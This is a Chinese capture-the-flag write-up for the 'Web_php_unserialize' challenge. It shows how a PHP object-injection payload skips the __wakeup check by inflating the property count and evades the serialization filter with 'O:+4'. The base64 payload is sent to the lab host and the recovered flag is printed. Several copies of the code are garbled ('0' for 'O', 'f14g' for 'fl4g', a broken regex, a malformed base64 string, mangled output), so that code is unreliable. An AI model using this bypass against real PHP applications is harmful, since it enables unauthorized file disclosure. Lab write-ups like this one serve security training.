

攻防世界-Web_php_unserialize

原创

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Web_php_unserialize

55 最佳Writeup由Victis • kno提供

WP 建议

难度系数: ★★2.0

题目来源: XTCTF

题目描述: 暂无

题目场景: http://111.200.241.244:60153

删除场景

倒计时: 02:34:26 延时

题目附件: 暂无

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```
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
if (isset($_GET['var'])) {
    $svar = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $svar)) {
        die('stop hacking!');
    } else {
        @unserialize($svar);
    }
} else {
    highlight_file("index.php");
}
?>
```

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```

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+\/i', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
?>

```

反序列化题，根据代码，flag在fl4g.php里，序列化fl4g.php然后再反序列化读取

```

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}

```

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这一段代码保留，说的是保证文件是index.php，用的是函数_wakeup，这时要绕过

```

if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+\/i', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
?>

```

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这一段是传入一个参数var，对它解码以及反序列化

进行编码获得fl4g.php文件的序列化后的值

```
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}

$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
?>
```

```
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}

$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
?>
```

```
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php"}
```

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只是这样是不行的，根据源代码

需要绕过_wakeup 1改2，让这个值大于原来的值可以绕过

```
O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php"};}
```

绕过对序列化的检测 这里的机制是 `/[oc]:\d+:/i`

```
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php"};
```

正号不改变正数的值，可以绕过检测

最后对它进行base64编码，但是用编码器编码会出问题，和%00*%00有关

就在代码中进行编码

法一：

直接编码这串代码

```
<?php
$a='0:+4:"Demo":2:{s:10:"Demofile":s:8:"f14g.php"}';
var_dump(base64_encode($a));
?>
```

```
string(64) "TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGU3O3M6ODoiZm0Zy5waHAiO30="
```

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法二:

让程序运行过程中直接编码

```
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the f14g.php
            $this->file = 'index.php';
        }
    }
}

$a=new Demo('f14g.php');
$b=serialize($a);
echo $b;
$b=str_replace('0:4','0:+4',$b);
$b=str_replace(':1:',':2:',$b);
var_dump($b);
var_dump(base64_encode($b));
?>
```

```
-
$this->file = $file;
}
function __destruct() {
    echo @highlight_file($this->file, true);
}
function __wakeup() {
    if ($this->file != 'index.php') {
        //the secret is in the f14g.php
        $this->file = 'index.php';
    }
}

$a=new Demo('f14g.php');
$b=serialize($a);
echo $b;
$b=str_replace('0:4','0:+4',$b);
$b=str_replace(':1',':2',$b);
var_dump($b);
var_dump(base64_encode($b));
?>
```

```
O:4:"Demo":1:([s:10:"Demofile",s:8:"f14g.php",]string(49) "O:+4:"Demo":2:([s:10:"Demofile",s:8:"f14g.php",]
string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==")
```

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```
<  →  ↻  111.200.241.244:60153/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==  ❏  ☆
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<?php
$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}";
?>
```

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